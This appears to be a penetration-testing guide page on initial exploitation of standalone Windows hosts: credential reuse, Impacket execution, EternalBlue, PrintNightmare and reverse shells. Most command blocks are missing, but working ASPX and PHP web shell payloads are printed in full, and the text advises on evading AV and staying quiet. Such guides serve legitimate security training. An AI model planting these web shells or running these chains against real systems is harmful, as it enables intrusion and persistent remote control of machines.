Windows Initial Exploitation
This page picks up where vulnerability discovery ends. You have confirmed what is exploitable — now you use it to get execution. The techniques here cover getting a first shell on a standalone Windows host without Active Directory context: credential-based access, SMB execution chains, web shell delivery, and unpatched RCE vulnerabilities.
Default or Weak Credentials to Shell
If credential spraying or credential discovery returned a valid username and password, try them across SMB, WinRM, and RDP before going further. All three can give you immediate command execution.
SMB command execution — quick check to confirm the credentials work and you have remote exec access:
If the output returns a username, the credentials are valid and SMB execution is available. (Pwn3d!) in the output confirms admin-level access.
WinRM shell — if port 5985 or 5986 is open and the account has WinRM access:
On Kali, install with gem install evil-winrm or use /usr/bin/evil-winrm if already present. This drops you into an interactive PowerShell session. Useful for file transfers, loading scripts, and running .NET assemblies in-memory.
RDP access — for GUI access when port 3389 is open:
RDP is loud — it creates logon events and is visible in session logs.
PSExec-Style Execution via SMB
When you have confirmed SMB admin access, the Impacket suite gives you multiple execution primitives. All run from a Linux attacker machine. For local accounts use ./ as the domain prefix or omit it entirely.
psexec — creates a named service on the target, uploads a binary to ADMIN$, and runs it:
This reliably returns a SYSTEM shell but is the noisiest option. It creates a service entry in the Windows Event Log and writes a binary to disk. AV and EDR commonly catch this.
smbexec — writes temporary batch files to execute commands without uploading a persistent binary:
More evasive than psexec. Still creates service events and temporary files, but leaves a smaller footprint.
wmiexec — executes commands over WMI without creating a service or writing executables to disk:
Stealthiest of the three. Output is captured via a writable share, so no direct connection back to your machine. Prefer this when OPSEC matters.
nxc with exec method selection:
Replace smbexec with wmiexec or mmcexec depending on what the target accepts. Drop --local-auth if authenticating against a domain account.
If you only have an NT hash instead of a plaintext password, replace :$PASSWORD with -hashes :$NTHASH for Impacket tools, or -H $NTHASH for nxc.
Web Shell via File Upload or SMB Write
If the target is running IIS or another web server and you have write access to the webroot — either via SMB share access or a writable upload endpoint — placing a web shell gives persistent command execution through HTTP.
Write an ASPX shell via SMB to IIS webroot:
Minimal ASPX shell payload to save as shell.aspx:
<%@@ Page Language="C#" %>
<%@@ Import Namespace="System.Diagnostics" %>
<% var p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>Trigger it with:
PHP shell on an Apache or PHP-backed target:
Simple PHP payload:
<?php system($_GET['cmd']); ?>If the web server runs as a low-privileged account (IIS AppPool, www-data), follow up with a privilege escalation technique from the Windows platform pages.
MS17-010 (EternalBlue) — Unauthenticated RCE
EternalBlue exploits a critical SMB buffer overflow in Windows 7, Windows Server 2008 R2, and unpatched Windows 10 / Server 2016 builds. If the target is confirmed vulnerable, this gives unauthenticated SYSTEM-level code execution over port 445.
Before attempting exploitation, confirm the target is vulnerable. See the EternalBlue vulnerability detection page.
Warning
This may be restricted in exams such as OSCP. Metasploit modules are limited to one machine per exam. Prefer non-Metasploit exploit paths where available; msfvenom payload generation and custom scripts stay allowed.
EternalBlue can crash unstable targets. On production systems, the exploit creates significant noise and should be treated as destructive-risk. In lab environments it is reliable on unpatched Windows 7 and Server 2008 R2.
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
If the Print Spooler service is running and the target is unpatched, PrintNightmare allows unauthenticated or low-privileged users to achieve remote code execution or local privilege escalation via the Windows Print Spooler.
See the dedicated page for full exploitation steps: PrintNightmare — Print Spooler RCE to SYSTEM.
Check if the Print Spooler is running before attempting:
Reverse Shell Payloads for Windows
Once you have command execution — via web shell, PSExec output, or a scripted callback — you often want an interactive shell. These payloads turn one-shot execution into a session.
Start a listener on your attack box first:
PowerShell reverse shell — one-liner:
If the target filters outbound connections on common ports, try port 80 or 443 for $LPORT.
nc.exe drop and execute — useful when you have file write access but PowerShell is restricted:
On Kali: /usr/share/windows-resources/binaries/nc.exe
Serve it over SMB or HTTP, then execute on the target:
Or after dropping it to disk:
msfvenom — reverse shell (staged):
Staged payload — requires Metasploit handler. Stageless (no handler needed, works with nc):
msfvenom — bind shell — target listens, attacker connects in (useful when outbound is filtered):
Connect from attacker after execution:
msfvenom — exec payload — wrap a single command in an EXE (add user, run script, etc.):
PowerShell download cradle as exec payload:
32-bit targets — replace windows/x64/ with windows/ for x86:
AV catches unsigned executables dropped to disk. If blocked: use the PowerShell in-memory approach, encode with -e x86/shikata_ga_nai, or use a custom loader.
Was this helpful?
Your feedback helps improve this page.